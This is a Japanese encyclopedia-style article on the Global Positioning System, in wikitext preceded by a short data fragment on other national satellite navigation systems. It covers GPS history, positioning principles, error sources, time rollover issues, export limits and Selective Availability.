"text": "IRNSSシステムは、7機の衛星と地上局から構成される。7機のうち3機の衛星は、それぞれ東経34度、83度、132度の静止軌道に配置される予定で。残り4機のうち2機(IRNSS-1A、IRNSS-1B)は軌道傾斜角29度を有する東経55度の静止軌道へ配置される。残り2機は軌道傾斜角29度を有する東経111度の軌道へ配置される予定。",
"title": "各国の衛星航法システム"
},
{
"paragraph_id": 105,
"tag": "p",
"text": "準天頂衛星システムQuasi-Zenith Satellite System(QZSS)は日本で構築された7機の衛星が交代で待機するシステムでGPSを補完する。",
"title": "各国の衛星航法システム"
},
{
"paragraph_id": 106,
"tag": "p",
"text": "2010年9月11日に技術実証のための準天頂衛星初号機みちびき(QZS-1)が打ち上げられた。その後2017年に2,3,4号機が打ち上げられ、2018年11月1日にサービスを開始した。",
"title": "各国の衛星航法システム"
},
{
"paragraph_id": 107,
"tag": "p",
"text": "なお、2023年までに衛星を更に3機追加し、7機体制での運用を行うことが閣議決定されている。",
"title": "各国の衛星航法システム"
}
]
| グローバル・ポジショニング・システムとは、アメリカ合衆国によって運用される衛星測位システム(地球上の現在位置を測定するためのシステムのこと)を指す。 ロラン-Cシステムの後継にあたる。 アメリカ合衆国が打ち上げた約30個のGPS衛星のうち、上空にある数個の衛星からの信号をGPS受信機で受け取り、受信者が自身の現在位置を知るシステムである。 1973年にアメリカ国防総省の軍事プロジェクトとして開始され、最初の試験衛星は1978年に打ち上げられた。元来その利用は軍事用途に制限されていたが、1983年の大韓航空機撃墜事件発生後、民間機の安全な航行のため民間利用にGPSを開放する事がレーガン大統領により表明された。その後、民生運用に足る精度を満たした「初期運用宣言」は1993年に、軍事運用可能な精度を満たした「完全運用宣言」は1995年に成された。 GPSは地上局を利用するロラン(LORAN)-Cと異なり、受信機の上部を遮られない限り、地形の影響を受けて受信不能に陥る事が少ない。 GPS衛星からの信号には、衛星に搭載された原子時計からの時刻のデータ、衛星の天体暦(軌道)の情報などが含まれている。受信機はGPS衛星からの電波を受信し、その発信時刻を測定し、発信と受信との時刻差に、電波の伝播速度(光速)を掛けることによって、その衛星からの距離がわかる。受信機座標(3次元空間上の点)はこれらから求められる。 ただし多くのGPS受信機に搭載されている時計では精度が不足し、そのままでは受信時刻値は不正確となる。そこで、多くの受信機の測位計算では、4つ以上のGPS衛星からの電波を受信し、受信機座標に加え受信時刻も未知数とする形で求める。 GPS衛星は約20,000kmの高度を一周約12時間で動く準同期衛星である(静止衛星ではない)。いくつかの軌道上に打ち上げられた30個ほどの衛星コンステレーションで地球上の全域をカバーできる。また中地球軌道なので信号の送信電力としても有利であり、ある地域からみても刻々と配置が変化するため、全地球上で誤差を平均化できる(地域によってはカバーする衛星の個数が常に少ない場合もある)。 | {{Redirect|GPS}}
[[ファイル:Global-Positioning-System.jpg|thumb|260px|right|船舶用GPS受信機]]
'''グローバル・ポジショニング・システム'''({{lang-en|Global Positioning System, Global Positioning Satellite, '''GPS'''}}、'''全地球測位システム''')とは、[[アメリカ合衆国]]によって運用される[[衛星測位システム]]([[地球]]上の現在位置を測定するためのシステムのこと)<!--の一種でありシステム-->を指す。
[[LORAN|ロラン-C]](Loran-C: '''Lo'''ng '''Ran'''ge Navigation '''C''')システムの後継にあたる。
アメリカ合衆国が打ち上げた約30個の[[GPS衛星]]のうち、上空にある数個の衛星からの信号をGPS受信機で受け取り、受信者が自身の現在位置を知るシステムである。
1973年に[[アメリカ国防総省]]の軍事プロジェクトとして開始され、最初の試験衛星は1978年に打ち上げられた。元来その利用は軍事用途に制限されていたが、[[1983年]]の[[大韓航空機撃墜事件]]発生後、民間機の安全な航行のため民間利用にGPSを開放する事が[[レーガン大統領]]により表明された。その後、民生運用に足る精度を満たした「初期運用宣言」は[[1993年]]に、軍事運用可能な精度を満たした「完全運用宣言」は[[1995年]]に成された<ref>{{Cite web|和書|url=http://qz-vision.jaxa.jp/READ/qz-navi05.html |title=準天頂衛星システムの歴史 |deadlinkdate=2019-01-16 |publisher=[[JAXA]] |accessdate=2016年2月20日 |archiveurl=https://warp.ndl.go.jp/info:ndljp/pid/10325108/qz-vision.jaxa.jp/READ/qz-navi05.html |archivedate=2017-04-06}}</ref>。
GPSは[[地上局]]を利用するロラン(LORAN)-Cと異なり、受信機の上部を遮られない限り、地形の影響を受けて受信不能に陥る事が少ない<ref group="注釈">ただし、宇宙空間からの電波を利用するため、電波の受信が著しく困難な、[[トンネル]]等の地下空間においては、特別な措置を施していない場合には、著しく受信精度が低下するか、若しくは、受信困難に陥る可能性が高い。</ref>。
[[GPS衛星]]からの信号には、衛星に搭載された原子時計からの時刻のデータ、衛星の[[天体暦]](軌道)の情報などが含まれている。受信機はGPS衛星からの電波を受信し、その発信時刻を測定し、発信と受信との時刻差に、電波の伝播速度([[光速]])を掛けることによって、その衛星からの距離がわかる。受信機座標(3次元空間上の点)はこれらから求められる。
ただし多くのGPS受信機に搭載されている時計では精度が不足し、そのままでは受信時刻値は不正確となる<ref group="注釈">100万分の1秒あったとしたら距離の誤差は300mにも及んでしまう</ref>。そこで、多くの受信機の測位計算では、4つ以上のGPS衛星からの電波を受信し、受信機座標に加え受信時刻も未知数とする形で求める。
GPS衛星は約20,000kmの高度を一周約12時間で動く準同期衛星である(静止衛星ではない)。いくつかの軌道上に打ち上げられた30個ほどの[[衛星コンステレーション]]で地球上の全域をカバーできる。また中地球軌道なので信号の送信電力としても有利であり、ある地域からみても刻々と配置が変化するため、全地球上で誤差を平均化できる(地域によってはカバーする衛星の個数が常に少ない場合もある)。
== 原理 ==
<!--[[ファイル:ConstellationGPS.gif|thumb|200px|right|地球の回転といっしょに動いているGPSの座標の視覚による例。地球の表面の特定の点(この例では45°N)からの衛星の数が、時間とともにどのように変化するか注意。<br />赤い点:地表から見えない衛星。<br />青い点:地表から見える衛星。<br />緑の点線:地表と青い点を結んだ線。<br />visible sat:地表から見える衛星の総数。]]
[[ファイル:Sphere-intersect.svg|thumb|二つの球面が交わるとき、一般に共通部分は円になる。]]
[[ファイル:Circle sphere 2-colour.svg|thumb|球面と円周が交わるとき、一般に二つの交点ができる。]]-->
=== 3次元測位 ===
{{main|衛星測位システム#利用者受信機}}
[[慣性系]]を仮定すると、[[光速]]<math>c</math>は一定である(<math>c</math>=2.99792458 × 10<sup>8</sup> m/s)。
[[GPS衛星]]と受信機がともに正確とみなせる時計をもっていれば、GPS衛星<math>i</math>からの信号送信時刻(受信機測定から得る)<math>T_i</math>と受信時刻<math>t</math>の差に''c''を掛け、伝播距離が得られる。
: <math> c \, \left(T_i-t\right)</math>
したがってGPS衛星<math>i</math>の位置を[[座標]] (<math>X_i,Y_i,Z_i</math>)、受信機の位置を (<math>x,y,z</math>) とすると、伝播距離は下記の関係式を満たす。
: <math> c^2 \left(T_i-t\right)^2 = \left(X_i-x\right)^2 + \left(Y_i-y\right)^2 + \left(Z_i-z\right)^2</math>
なおGPS衛星の位置を得るには、受信データに重畳された航法メッセージ信号を復調し、送信時刻<math>T_i</math>と組み合わせて求める。
受信時刻<math>t</math>はGPS受信機の時計の値であり、もしそれが正確ならば、受信機の位置である三つの[[変数 (数学)|変数]](未知数)<math>x,y,z</math>を得るために、意味が異なる最低三本の[[連立方程式]]があれば良い。
しかしGPS受信機の時計はそれほど正確ではなく、受信時刻<math>t</math>も未知数とする必要がある。4つの未知数(<math>x,y,z,t</math>)を求めるためには、4つ以上の衛星から受信することが必要となる。
<!--受信機の位置である三つの[[変数 (数学)|変数]]、''x'', ''y'', ''z''を得るには最低三本の[[連立方程式]]を要する。このため三つ以上のGPS衛星を受信する。つまり、
* 1個の衛星からの電波が受信でき距離が決定できたとすると、そこから距離が一定である点は[[球面]]上のどこかになる。一定の長さの糸におもりをつけて振り回すと、おもりは糸の長さを半径とする球面上のどこかにいることになる。
* 2個の衛星からの距離が決定できた場合、二つの球面が定まる。受信機は、二つの球面の交わりである円周上のどこかにいることになる。
* 3個の衛星からの距離が決定できれば、二つの球面による円にさらに一つの球面が加わる。円と球面は2点で交わり、受信機はそのうちの一点に位置する(もう一つの点は衛星が位置する3点を通る平面に対し対称な位置、すなわち地球から離れた位置にある)。[[三脚]]は3本の脚(長さは異なってもよい)があるため固定できるのと同様である。
GPS衛星には原子時計が搭載されているため、時刻は正確とみなせる(現実には遅れ等の誤差が生じるので補正する)。一方、GPS受信機は原子時計ほど正確な時計をもたず、通常の[[クォーツ時計]]程度の精度である。そこで生じる時間の誤差をδとすると、式は
: <math>\left( r - c\delta \right)^2 = \left(X-x\right)^2 + \left(Y-y\right)^2 + \left(Z-z\right)^2</math>
四つの未知数、<math>x,y,z,\delta</math>を求めるには最低4本の連立式を要する。つまり、4つの衛星から受信することで、原理的に受信側の時計の誤差を除くことができる。
ただし、実際には誤差<math>\delta</math>が定数とは限らず、衛星によって多少異なるかもしれないし、誤差の要因は他にもある。そこで、衛星との距離 ''r'' ではなく、二つの衛星との距離の差 <math>\Delta</math> を考える。
: <math>\Delta = c\left( t_1 - \delta_1 \right) - c\left( t_2 - \delta_2 \right) = c\left( t_1 - t_2 \right) - c\left(\delta_1 - \delta_2 \right) = r_1 - r_2 - c\left(\delta_1 - \delta_2 \right) </math>
δ<sub>1</sub> とδ<sub>2</sub>は等しくは無くても、差は小さい。打ち消しあうことで<math>\Delta</math>の誤差は ''r'' の誤差よりはるかに小さくなることを利用する。-->
<!--2衛星からの距離の差が一定な点は、2衛星を焦点とする回転双曲面をなす。上記同様、3衛星について双曲面の交わりから、受信機の位置を知ることができる(双曲線航法)。
それでも残る誤差の差分に応じて幅を持たせておく。さらに、より多くの衛星から受信することで誤差を減らすことができる。一般には、衛星''i''に対し、
: <math>\left( c\left(t_i - \delta \right) \right)^2 = \left(X_i-x\right)^2 + \left(Y_i-y\right)^2 + \left(Z_i-z\right)^2</math>
''i''本の連立を、<math>\Delta_i</math>を用いて解くことになる。-->
=== SS変調による測距 ===
{{要検証範囲|[[GPS衛星]]からの情報を[[変調方式|変調]]する方式である[[スペクトラム拡散|SS]](spread spectrum)変調方式([[符号分割多元接続|CDMA]]:code division multiple access方式などともよばれる)|date=2018年10月}}は、人工的に作った(真の[[乱数列|乱数]]と区別が付かない)[[符号|コード]]である'''擬似雑音系列'''に送信データを掛けて送信信号を生成する。
このため、[[周波数変調|FM]]や[[振幅変調|AM]]変調などに比べて広い[[帯域幅|バンド幅]]で低電力で送信でき、秘話性(擬似雑音系列がわからなければデータを[[復調]]できない)や秘匿性([[ホワイトノイズ|白色雑音]]と区別がつかないため送信していること自体がわからない)、同一バンドを異なる擬似雑音系列で[[多重化|多重]]利用できることなどの特徴がある。
擬似雑音系列の開始位置の時刻を定めておけば、復調時に精度よく送出時刻を知ることができることも特徴のひとつで、測距の基礎となっている。
GPSではこれらの特徴を活かして測位とデータ([[天体暦]](軌道)の情報などが含まれる)の送信を同時に行っている。
GPS衛星からのL1電波(1.57542G[[ヘルツ (単位)|Hz]])には公表されているC/Aコードを擬似雑音系列に用いた信号と、公表されていない擬似雑音系列であるP(Y)コードの2種類の信号が載せられている。P(Y)コードは軍事目的を想定しており、系列の生成[[多項式]]の次数が大きい(擬似雑音系列が一巡するのに長時間かかる)ため、精度は非常に高く(16[[センチメートル|cm]]程度)、[[ミサイル]]や[[誘導爆弾]]の誘導に用いられている。
民間利用が許されている暗号化されていないC/Aコードのデータを用いると、95%以上の確率で正確な緯度経度から10[[メートル|m]]以内の座標が得られる程度の精度となる。これは短時間での精度であり、長期間受信し続けることにより精密な測量も可能である。
=== 測位法 ===
GPSの測位方法は、コード([[搬送波]]の変調)に基づく方法(コード測位方式)と、搬送波の[[位相]]に基づく方法(搬送波測位方式)に分けられる。一般にはコード測位が用いられているが、精密測位には搬送波測位が用いられる。
; 単独測位 :コード測位。誤差10[[メートル|m]]程度(民生用)。
; DGPS(ディファレンシャルGPS)
:{{Main|ディファレンシャルGPS}}
:Differential GPS(相対測位方式)。コード測位。測位対象となる移動局のほかに、位置のわかっている基地局でもGPS電波を受信し、誤差を消去する方法。基地局で生成された補正情報を送信し、移動局で受信すれば、実時間でDGPSの補正処理を行うことができる。誤差数[[メートル|m]]。日本国内では[[海上保安庁]]の中波[[無線方位信号所|ビーコン]]により補正情報が送信されていたが、「GPS精度の向上」、「衛星等による別の補正システムの運用開始」、「[[2019年]](平成31年)[[4月7日]]に発生するロールオーバー(後述の『1999年8月21日問題』を参照)による信頼性が保証できない」を理由として、2019年(平成31年)3月1日正午をもって廃止となった<ref>{{Cite web|和書|url=https://www.kaiho.mlit.go.jp/soshiki/koutsuu/dgps/haishi.pdf|title=ディファレンシャルGPSの廃止について|accessdate=2019-1-7|date=2017-6-30|format=PDF|publisher=海上保安庁|archiveurl=https://web.archive.org/web/20190107120150/https://www.kaiho.mlit.go.jp/soshiki/koutsuu/dgps/haishi.pdf|archivedate=2019-1-7}}</ref>。
; RTK測位 :Real Time Kinematic GPS。干渉測位方式。DGPSと同様に、[[電子基準点]]から受信する電波の位相差を計測し、測位計算。測位時間1分以下、誤差数[[センチメートル|cm]]が可能。測量地点では、基準受信機を参照基準点(既知)に設置し、(複数の)移動受信機で測位。
; 高速スタティック測位 :干渉測位方式。測量地点で、複数のアンテナを固定設置し、測位時間30[[分]]以下、誤差1[[センチメートル|cm]]以下が可能。
; VRS測位 :Virtual Reference Station RTK-GPS。RTK測位の弱点(初期待ち時間、複数の受信機が必要、移動範囲が限定、電子基準点から電波が届かない等)を改良。仮想基準点方式。複数の電子基準点と通信回線を結ぶVRSセンターがあり、測量地点では、1つの移動受信機から得られるデータを、携帯電話等によりVRSセンターと送受信し(データを持ち帰り後日計算も可能)、RTK測位を実施。
== 精度 ==
GPS受信機の測位精度には、原理的な誤差による要因・人為的要因などさまざまな要因がある。ここではその他の不具合も含め列挙する。
下記のうち誤差要因については、GPS受信機である程度推定し表示することができる。GPS受信機がある円内にいる確率が50%以上であるところの円を、[[平均誤差半径|CEP]](Circular Error Probability)とよぶ。地図を表示する場合は、この円も同時に表示し利用者への参考としているものが多い。
また、基本的にGPSでの測位は平面座標に比べて'''高度の計算精度に誤差が大きい'''。
{{see also|衛星航法補強システム|補助GPS}}
=== 電波伝播経路の特性 ===
[[GPS衛星]]からGPS受信機まで電波が達する経路では、[[電離圏]]や[[対流圏]]での電波特性の変化により、若干の電波伝播速度の遅延が生じる場合がある。これによって、計算で定めたはずの空間上の一点の信頼性が損なわれる。一般的に受信機からみてGPS衛星が低仰角の場合、この誤差は増加する傾向がある。これは大気中を電波が伝播するときの遅延による影響が、高仰角(薄い大気を通過する)よりも低仰角(厚い大気を通過する)で大きいからである。またそもそも低仰角衛星からの信号は減衰が大きい{{Efn|太陽の見え方が日の出、直上、日没で異なることから理解しやすい}}。
このための補正手段として、正確な時計をもち座標のわかっている固定局を設置し、GPS受信データから計算した位置と固定局の位置の差から、精度を上げるなどの仕組み('''ディファレンシャルGPS、Differential GPS、DGPS''')も確立されている。DGPSの補正信号は、かつてFM放送の利用されていない帯域で送信するシステム([[全国FM放送協議会|JFN]]系列の放送局で実施)があり、カーナビなどでの利用には有用であった([[1997年]]5月〜[[2008年]]3月)。また、WAASや[[MSAS]]([[MTSAT]]を利用した日本の運用)では、[[静止軌道]]の衛星からDGPSの補正信号を各受信機に送信している(WAAS/MSAS静止衛星自体もGPS衛星同様、測位にも使われる)。
このほか、ビル街や谷山ではマルチパス(ひとつの衛星からひとつの受信機までの電波経路が反射によって多数存在すること。旧アナログテレビ放送におけるゴースト現象同様)により、信号の時間差が生じたり[[S/N比]]が低下し、精度が落ちる。
=== 受信可能な衛星の個数・配置による影響 ===
[[ファイル:ConstellationGPS.gif|thumb|right|240px|GPS衛星の軌道アニメーション([[慣性系]])。数字は北緯45度([[北海道]]付近)から同時受信可能な衛星数]]
通常日本(本州)では、理想的に空がひらけている場合、受信可能な衛星は6〜10個程度である。位置の計算に最低必要な4個より多い衛星がみえている場合は、複数の衛星からの情報で測位精度を向上させることができる。それぞれの衛星からの信号強度(S/N比)を観測したりDGPS情報から衛星ごとの信頼度を与え、また4つ組みの取り方をなるべく計算誤差が大きく出ないように取ったり、さらに複数の測位結果の信頼度が低いものを棄却・平均化するなどの方法がとられる。
受信可能な衛星の個数・配置により、電波伝播の誤差が大きく利いてくる場合がある。[[原理]]での三脚での喩えを用いると、ある程度伸び縮みする三脚の頭が動く範囲(推定誤差範囲)は、三脚の脚の開き具合によって異なる。計算に用いる衛星のみかけの位置が接近していると、計算に用いる推定誤差が大きくなる(脚を閉じた三脚ではぐらつきが大きい)。また計算に用いる衛星が一直線に並んでいたりする場合は、ある方向への信頼度が大きく低下する(三脚の脚が縦に並んでいると横方向にぐらつきが大きい)。
=== 補助手段による精度の向上 ===
GPSは原理的には最低4つの人工衛星が見えていることが必要であるが、空が開けていない場合などは、補助手段で精度を向上させることも可能である。当初のGPSの仕様に無い現象を使う方法(ドップラーシフトなど)、想定された定数を使う方法(地表や地図上の道路を移動していると仮定する)、他のセンサー類を使う方法(気圧計など)がある。
まず、GPS受信機内部の時計が正確な時刻に校正された後の一定時間は、時刻情報は内部の時計を用いて3つの衛星で3次元の位置を知ることができる([[#原理]]参照)。しかし、もともとその時計が持っている誤差のため、これも数分で信頼できない時刻になってしまう。
また、地球の形が分かっており、地表(あるいは一定の高度)を移動していると考えられる場合、さらに1つの衛星からの距離を省略しても位置は求められる。地球の形([[ジオイド|平均海面]])は球体ではなく赤道付近が膨らんだ[[回転楕円体]]([[扁球]])であることは知られているが、これをよく近似した3次元曲面(WGS84など)を多くのGPS受信機がデータとして持っている。
さらに受信機のドップラーシフトを観測すると、C/A信号の1ビット送信時間未満の距離の観測もできる。衛星と受信機の距離が接近または乖離している場合、[[ドップラー効果]]により受信周波数の上昇または低下(これは信号の位相変化として観測される)がおきる<ref group="注釈">ドップラーシフト値を用いると、0.1 m/s以下の精度で速度計測が得られる。</ref>。これを用いれば、受信機が等速直線運動しかしていないか、それ以外の方向に動いたかも推定できる(1つないし2つの衛星からの信号でもある程度の位置は推定できる)。なお長時間の位相観測によりC/A信号の精度限界以上に精度を上げる方法は、測地用のGPS受信機などでも用いられている。
またカーナビやスマートフォンなどでは、GPSで定期的に位置を決定し、[[ジャイロスコープ|ジャイロ]]・[[加速度センサ]]から得られる情報で、自律位置推定している物もある。この場合GPS信号を受信できない状態(トンネル内に入ったとき)も、ある程度の位置は分かる。航空機の[[慣性航法装置]]と同様であるが、精度は低いため、複雑な移動や時間経過によって位置の信頼性は落ちる<ref group="注釈">他に、カーナビでは移動方位センサ、速度発電機や操舵角(ハンドル)センサ等である程度の補正を行うものがある。</ref>。
現在高度の情報が要求される[[登山]]用のGPS受信機では、[[気圧計|気圧]][[高度計]]で[[高度]]方向の位置推定の補助手段としたり、磁気コンパスを併用するものもある。空間の (''x'', ''y'', ''z'') 方向の誤差は均等であるが、前述のようにGPS受信機の多くは地表に沿って動くことを想定しており、地表に沿った方向の位置推定の精度を上げる代わりに高度方向の位置推定を犠牲にしているためである。詳細な地形図情報とGPS信号を組み合わせて現在高度を求めるものもあるが、階層には対応できない。
モバイル機器に搭載のGPSでは、携帯電話の基地局の位置情報(精度数百m〜数km程度)を補助情報として用いることができる。このため初期捕捉を速くしたり、高速移動時に衛星を見失わないための補助手段とすることができる。他にネットワーク通信を利用して、位置演算やGPS情報等を補正し高速化を図っている。([[補助GPS]])
[[地理情報システム|GIS]]情報を補助手段として用いる場合もある。カーナビでは地図を搭載しているため、道路情報と照らし合わせることで誤差を修正しているものもある(車は道路以外を走れない・水面を走れない、などという制約を利用している)。
=== 測地系 ===
{{main|測地系}}
GPS受信機に[[経緯度]]を直接入力してナビゲーションする場合、[[測地系]]を整合させる必要がある。(例えば、[[WGS84]]もしくは[[日本測地系]]を選択)
=== 原子時計の遅れ ===
受信機側での信号処理には、さまざまな要因によるものが含まれるが、高速で運動する[[GPS衛星]]の運動による発振信号の[[時間の遅れ]]と、地球の[[重力場]]による時間の遅れである。後者は、衛星軌道の[[擾乱]]や信号到達距離の湾曲、発振信号の時間の遅れなどを引き起こす。
地上の時計は、GPS衛星の時計よりわずかに遅れるので、GPS衛星の時計は、これを補正するため遅く進むように設計<ref>{{Cite web|publisher=U.S. Coast Guard Navigation Center, |url=http://www.navcen.uscg.gov/pubs/gps/icd200/ |title=Interface Control Document (ICD 200c) |language=en |accessdate=2009-04-11 |deadlinkdate=2019-09-03 |archiveurl=https://web.archive.org/web/20100429085433/http://www.navcen.uscg.gov/pubs/gps/icd200/ |archivedate=2010-04-29}}</ref> されている。この時間の遅れは[[相対性理論|相対論]]効果を考慮した計算結果と高い精度で一致しており、身近な相対性理論効果の実証の一つとして挙げられる<ref>{{Cite web|和書|url=http://maya.phys.kyushu-u.ac.jp/~knomura/museum/GPS/ |title=GPSと物理 九州大学理学部物理 |accessdate=2011-09-24 |author=野村清英}}</ref>。
=== GPSの日時情報 ===
==== 閏秒によるずれ ====
GPS時刻(GPSの基準時刻系)はUTCの1980年1月6日午前0時([[国際原子時|TAI]]−19秒)を開始時刻(基準)とし、その後は、[[協定世界時|UTC]]のような[[閏秒]]調整は施されない。したがって、<!--数年に1度加えられる[[閏秒]]([[世界時|UT]]と[[協定世界時|UTC]]の差が大きくならないように挿入される秒)を修正したことがないため、-->現在、GPS時刻はUTCから18秒進んでいる(2020年1月現在)。
しかし、このGPS時刻とUTCとの差はGPS信号の中に含まれているため、受信機ではこの差を補正してUTC時刻を出力することができる。このUTCとのオフセット信号は255(8ビット)の値まで持てるため現状の閏秒挿入のペースであれば2300年頃まで問題ないと考えられる。
==== 週データのロールオーバー問題(19.6年問題<ref>{{Cite web|和書|title=GPSの“19.6年問題”、4月7日に「週数ロールオーバー」が発生、古いGPS機器では不具合の可能性も【地図と位置情報】 |url=https://internet.watch.impress.co.jp/docs/column/chizu3/1174262.html |website=INTERNET Watch |date=2019-03-14 |access-date=2023-08-11 |language=ja |last=株式会社インプレス}}</ref>) ====
GPS時刻では日時を、起点から○週○秒経過と、「週」と「秒」だけで表現する。この「週」データが10[[ビット]]で管理されているため、1023までしかカウントできず、1024週目は0に戻る。
そのため、0週目で経過秒数が0秒の場合、これが1980年1月6日なのか1999年8月22日なのか2019年4月7日なのかをGPSデータだけでは区別することができず<ref>{{Cite web|和書|url=https://www.janog.gr.jp/meeting/janog49/wp-content/uploads/2022/01/janog49-lt3-nakazawa.pdf |title=GPSロールオーバー、 次は2038年...ではないんです。 |access-date=2023-08-11 |publisher=janog.gr.jp}}</ref>、受信機側で適切に解釈しなければいけない。ソフトウェアの更新で対応されることもあるが、10年以上前の製品に対しては更新が提供されないことも多く、約20年前の日付に戻ってしまうことを回避する手段がない場合もある<ref>{{Cite web|和書|title=【DVD/HDDナビ】日付がずれる。1999年になっています。 {{!}} よくあるご質問 {{!}} サポート {{!}} Panasonic {{!}} カーナビ| |url=https://car.jpn.faq.panasonic.com/faq/show/5016?site_domain=default |website=car.jpn.faq.panasonic.com |access-date=2023-08-11}}</ref>。
; 1999年8月21日問題
: GPS時計の周期開始日である[[1980年]][[1月6日]]から1024週後の1999年8月21日0時([[日本標準時|JST]]では1999年8月22日午前9時)が初めてロールオーバーが発生した日である。
: 日本国内では、一部の[[カーナビゲーション]]システム製品が起動できなくなるなどの問題が発生した<ref>{{Cite web|和書|title=カロッツェリアナビゲーション「マイコンIC」交換実施について |url=http://www.pioneer.co.jp/micomIC/ |website=pioneer.co.jp |date= |access-date=2001-02-23 |archive-date=2001-02-23 |archive-url=https://web.archive.org/web/20010223220013/http://www.pioneer.co.jp/micomIC/}}</ref>。
; [[2019年]]4月7日問題
: 2度目にGPSの週の積算が0になったのは、起点から2048週間後の2019年4月6日23時59分42秒 (UTC)であった(正時ではないのは閏秒の影響) <ref>{{Cite web|和書|date=2019-03-14 |publisher=INTERNET Watch |author=片岡義明 |title=GPSの“19.6年問題”、4月7日に「週数ロールオーバー」が発生、古いGPS機器では不具合の可能性も |url=https://internet.watch.impress.co.jp/docs/column/chizu3/1174262.html |accessdate=2019-04-20}}</ref>。翌7日、[[日本航空]]の[[ボーイング787]]型機の日付表示にトラブルが発生し、確認のため1便が欠航、2便が遅延した<ref>{{Cite web|和書|url=https://www.jal.co.jp/info/inter/190407.html |title=GPSリセットによる運航への影響発生について |accessdate=2019-06-21 |publisher=[[日本航空]] |archiveurl=https://web.archive.org/web/20190408040618/https://www.jal.co.jp/info/inter/190407.html |archivedate=2019-04-08}}</ref>。
; 2038年11月21日問題
: 3度目に発生するのは、起点から3072週経過する2038年11月21日の予定である。(閏秒の影響により正確な時刻は未定)
===== ロールオーバー問題の解消へ =====
将来は、GPSの衛星システムを更新する「GPS近代化」により週データに13ビット割り当てられるようになり、ロールオーバーの発生は8192週(約157.5年)に1回に改善される<ref>{{Cite web|和書|title=4月7日(日本時間)に2度目の「GPS週数ロールオーバー」 |url=https://qzss.go.jp/overview/column/gps-rollover_190225.html |website=みちびき(準天頂衛星システム) |access-date=2023-08-11 |language=ja}}</ref>。この場合、最初のロールオーバーは2137年1月6日頃の予定である。(閏秒の影響により正確な時刻は未定)
=== 安全保障輸出管理 ===
[[対共産圏輸出統制委員会]](ココム)規制の名残で高度{{convert|18000|m|ft|abbr=on}}以上、速度1,900 km/h以上では[[大陸間弾道ミサイル]]のような用途への搭載を防ぐために使用できない<ref>{{Cite web|url=http://copenhagensuborbitals.com/gps-without-limits/ |title=GPS without limits |language=en |accessdate=2016-04-07 |deadlinkdate=2019-09-03 |archiveurl=https://web.archive.org/web/20170924110135/http://copenhagensuborbitals.com/gps-without-limits/ |archivedate=2017-09-24}}</ref><ref>{{Cite web|url=http://support.spectracom.com/articles/FAQ/Why-are-there-altitude-and-velocity-limits-for-GPS-equipment?retURL=%2Fapex%2FKnowledgeSiteHome&popup=false |title=Why are there altitude and velocity limits for GPS equipment? |language=en |accessdate=2016-04-07 |deadlinkdate=2019-09-03 |archiveurl=https://web.archive.org/web/20170310202108/http://support.spectracom.com/articles/FAQ/Why-are-there-altitude-and-velocity-limits-for-GPS-equipment?retURL=%2Fapex%2FKnowledgeSiteHome&popup=false |archivedate=2017-03-10}}</ref><ref>{{Cite web|url=http://www.eugenewei.com/blog/2015/8/3/cocom-limits |title=COCOM Limits |language=en |accessdate=2016-04-07}}</ref>。
また、慣性航法装置を複合したGPS端末には規制がある。
近年では、[[ワッセナー・アレンジメント]]がココム規制を継承している。
ただし、専用チップを用いず[[ソフトウェア無線]]、[[FPGA]]や[[オープンソース]]のプログラムを用いる機器も製作・販売されており、これらの機器を使用することで規制を回避できる。例として、GNSS-SDRやRTKLIBとしたオープンソース・ソフトウェアがあり、地デジ用USBチューナを使って取得したGPS信号をパソコン上で解析して測位することさえ可能である。<ref>{{Cite journal|author=鈴木 太郎|year=2017年2月号|title=10分クッキング! 地デジUSBドングルで作る激安GPSナビゲーション|url=https://toragi.cqpub.co.jp/tabid/828/Default.html|journal=[[トランジスタ技術]]|page=98}}</ref>
=== 人為的に加えられた誤差とその解除 ===
[[1990年]]から[[2000年]]までは、[[アメリカ軍]]の軍事上の理由(敵軍に利用されることを防止する)で、C/Aコードにおいて民間GPS向けのデータに対して、故意に誤差データを加える操作({{en|Selective Availability、略称 '''SA'''}})が行われ、精度が100[[メートル|m]]程度に落とされていた。
SAが加えられていた時から、既にGPSは民生用として有用であることが知られていたため、[[2000年]]5月2日4時5分([[協定世界時]])から<ref>{{Cite web|url=http://www.gps.gov/systems/gps/modernization/sa/data/ |title=Data From the First Week Without Selective Availability |language=en |accessdate=2013-05-18}} 2000年5月2日4時以降は、それまでの最大100mの誤差が10m程度の誤差に改善されている。</ref>、[[アメリカ合衆国大統領]][[ビル・クリントン]]は「GPS技術を広く役立てて欲しい」という主旨で、これを解除した<ref>{{Cite press|url=https://clintonwhitehouse4.archives.gov/WH/EOP/OSTP/html/0053_2.html |title=STATEMENT BY THE PRESIDENT REGARDING THE UNITED STATES' DECISION TO STOP DEGRADING GLOBAL POSITIONING SYSTEM ACCURACY |date=2000-05-01 |language=en |accessdate=2013-05-18}}</ref>。競合技術である[[ガリレオ (測位システム)|ガリレオ]]([[欧州連合|EU]]が主体となって推進している)が提案された理由のひとつに、GPSのSAによる誤差により、民生用で精度が上がらないということがあるが、これに対して優位を保ち続け、イニシアチブを取るという[[アメリカ合衆国連邦政府]]の意図も含まれている。また民間GPS機器の軍事転用により、調達コストを抑える目的もあると見られている。SA解除以降は、民間GPSでもC/Aコードの技術的な限界までの精度が得られるようになっている<ref>{{Cite web|url=http://www.gps.gov/systems/gps/modernization/sa/faq/#on |title=Frequently Asked Questions About Selective Availability - Will SA ever be turned back on? |language=en |accessdate=2013-05-18}}</ref>。
2000年以降は、米国の政策上の必要に応じて、有事があった際に特定地域で精度低下の措置がとられる可能性があるとされていた。しかし、[[ジョージ・W・ブッシュ]]と[[アメリカ国防総省]]は2007年9月18日に、次世代GPS(GPS III)にはSA機能を搭載しない(正確には、「SAを持つ衛星を調達しない」)との大統領令を発表した。したがって、この決定が将来覆されない限り、SAの操作は永久に実施されないこととなった<ref>{{Cite press|url=http://georgewbush-whitehouse.archives.gov/news/releases/2007/09/20070918-2.html |title=Statement by the Press Secretary |date=September 18, 2007 |language=en |accessdate=2013-05-18}}</ref><ref>{{Cite press|url=https://archive.defense.gov/releases/release.aspx?releaseid=11335 |title=DoD Permanently Discontinues Procurement Of Global Positioning System Selective Availability |date=September 18, 2007 |language=en |accessdate=2013-05-18}}</ref>。
多くの天文観測設備では、天体追尾にGPSに同期させることで補正する[[クォーツ時計]]やルビジウム時計を用いている。このため、アメリカ合衆国が秘密裏にSAを加えようとしても、少なくともSAが加えられたこと自体はエラーとして検出される。
== 精度の比較 ==
{| class="wikitable"
|+ 各種無線ナビゲーションシステムの精度の比較
! システム
! 95%の精度<br /> (横方向/垂直方向)
! 詳細
|-
